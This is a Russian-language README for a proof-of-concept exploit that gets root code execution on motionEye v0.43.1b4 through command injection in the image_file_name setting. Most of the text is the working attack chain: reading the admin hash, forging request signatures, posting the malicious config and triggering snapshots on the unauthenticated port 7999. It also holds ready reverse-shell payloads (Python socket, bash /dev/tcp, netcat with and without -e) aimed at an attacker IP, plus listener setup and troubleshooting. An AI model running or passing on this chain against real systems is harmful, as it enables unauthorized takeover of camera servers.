
MotionEye v0.43.1b4 OS Command Injection
MotionEye v0.43.1b4 Внедрение команд ОС
Эксплойт для Proof-of-Concept, демонстрирующий внедрение команд ОС в уязвимости motionEye, веб-интерфейса для демона motion. Уязвимость использует параметр конфигурации image_file_name, который передаётся напрямую в оболочку без санитизации, что позволяет внедрять произвольные команды через синтаксис подстановки $(command).
Отказ от ответственности: Используйте только против систем, на тестирование которых у вас есть явное разрешение. Несанкционированное использование незаконно.
motionEye передаёт значение конфигурации image_file_name напрямую демону motion как шаблон имени файла оболочки. Motion вычисляет выражения подстановки $(...) внутри имён файлов во время создания снимка, что означает, что любая команда, помещённая внутрь $(...), выполняется от имени пользователя, запустившего процесс motion (обычно root).
Полная цепочка атаки:
1. Прочитать хэш admin_password из /etc/motioneye/motion.conf
↓
2. Вывести cookie_hash = SHA1(admin_password_hash)
↓
3. Вычислить HMAC-подпись, используя точный алгоритм motionEye:
SHA1("METHOD:path:body:key")
↓
4. Отправить вредоносную конфигурацию через POST на /config/{cam}/set/ с:
image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
↓
5. Запустить снимок через неаутентифицированный порт управления motion 7999
↓
6. Motion вычисляет имя файла → команда выполняется от root
↓
7. Обратный шелл подключается обратно к машине атакующего
8765)/etc/motioneye/motion.confnc)Сторонние пакеты Python не требуются — эксплойт использует только стандартную библиотеку.
Файл конфигурации motionEye хранит пароль администратора в виде SHA1-хэша. Прочитайте его на цели:
cat /etc/motioneye/motion.conf
Найдите строку комментария @admin_password:
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
Значение после
@admin_password— это SHA1-хэш открытого пароля, а не сам пароль. Именно этот хэш нужен для эксплойта.
Также обратите внимание на значение webcontrol_port — это неаутентифицированный порт управления motion, используемый для запуска снимков:
webcontrol_port 7999
webcontrol_localhost on
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
camera camera-2.conf
motionEye использует схему аутентификации с двойным хэшированием:
plaintext_password
│
▼ SHA1
admin_password ←── хранится в motion.conf как @admin_password
│
▼ SHA1
cookie_hash ←── отправляется в cookie браузера как meye_password_hash
│
▼ используется как HMAC-ключ
request_signature ←── параметр _signature= в каждом API-запросе
Эксплойт автоматически выводит cookie_hash из конфигурационного хэша:
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
Вы можете проверить это вручную:
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# вывод: 238bd0f26e9f987d2dc9c0351c018e5f52534052
Подпись вычисляется из исходного кода motionEye по адресу
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:
SHA1("METHOD:path:body:key")
Где:
METHOD — HTTP-метод (POST)path — URI с удалённым _signature из строки запроса, отсортированные параметры, URL-кодированные значения, затем отфильтрованные через _SIGNATURE_REGEXbody — сырая строка JSON-тела, отфильтрованная через _SIGNATURE_REGEXkey — либо admin_password, либо admin_hash (motionEye принимает оба), отфильтрованный через _SIGNATURE_REGEX_SIGNATURE_REGEX удаляет любой символ, не входящий в [a-zA-Z0-9/?_.=&{}\[\]":, -], заменяя их на -.
Откройте exploit.py и установите следующие переменные в начале:
MOTIONEYE_URL = "http://127.0.0.1:8765" # URL веб-интерфейса motionEye
MOTION_URL = "http://127.0.0.1:7999" # порт управления motion (без аутентификации)
USERNAME = "admin" # имя администратора (по умолчанию: admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # из motion.conf
LHOST = "10.10.16.153" # IP вашего слушателя — цель должна иметь к нему доступ
LPORT = "4444" # порт вашего слушателя
Команда обратного шелла устанавливается автоматически из LHOST и LPORT:
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
Альтернативные команды шелла — замените COMMAND, если стандартная заблокирована:
# Bash TCP (просто, может быть отфильтровано)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# Netcat с флагом -e
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# Netcat без -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
На вашей атакующей машине запустите слушатель netcat до запуска эксплойта:
nc -lvnp 4444
Эксплойт делает паузу на 5 секунд после вывода напоминания о слушателе, давая вам время переключить терминалы.
python3 exploit.py
Ожидаемый вывод:
============================================================
motionEye RCE — Reverse Shell
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] Command : python3 -c '...'
[!] Запустите слушатель СЕЙЧАС:
nc -lvnp 4444
[*] Отправка полезной нагрузки через 5 секунд...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] Конфигурация сохранена! cam=2 key=admin_password
[*] Запуск снимков через порт 7999 (без аутентификации)...
[+] cam 0 → 200 Снимок для камеры 0 выполнен
[+] cam 1 → 200 Снимок для камеры 1 выполнен
[+] cam 2 → 200 Снимок для камеры 2 выполнен
[+] Снимок запущен — проверьте ваш слушатель на 10.10.16.153:4444
На вашем слушателе вы должны получить:
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#
403 Unauthorized на всех запросах
Подпись неверна. Убедитесь, что значение ADMIN_HASH точно соответствует строке @admin_password в motion.conf — без пробелов, без символов новой строки.
cat /etc/motioneye/motion.conf | grep admin_password
Снимки запускаются, но шелл не приходит
Внедрение image_file_name сработало, но обратный шелл был заблокирован. Попробуйте альтернативную COMMAND из Шага 4. Также убедитесь, что цель может добраться до вашего LHOST:
# На цели
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
Порт 7999 отказывается от соединения
Настройка webcontrol_localhost on ограничивает порт 7999 только localhost. Эксплойт должен выполняться с целевой машины или через туннель. Проверьте с помощью:
ss -tlnp | grep 7999
motion.conf не читается
Возможно, файл требует повышенных привилегий:
sudo cat /etc/motioneye/motion.conf
Не найдена конфигурация камеры
Проверьте, какие файлы конфигураций камер существуют, и при необходимости обновите список cam в эксплойте:
ls /etc/motioneye/camera-*.conf
| Параметр | Местоположение | Описание | Пример |
|---|
MOTIONEYE_URL | exploit.py | Полный URL веб-интерфейса motionEye | http://127.0.0.1:8765 |
MOTION_URL | exploit.py | URL порта управления motion (без аутентификации) | http://127.0.0.1:7999 |
USERNAME | exploit.py | Имя администратора motionEye | admin |
ADMIN_HASH | exploit.py | SHA1-хэш из @admin_password в motion.conf | 989c5a8e... |
LHOST | exploit.py | IP вашей атакующей машины — цель должна иметь к нему доступ | 10.10.16.153 |
LPORT | exploit.py | Порт, на котором работает ваш слушатель nc | 4444 |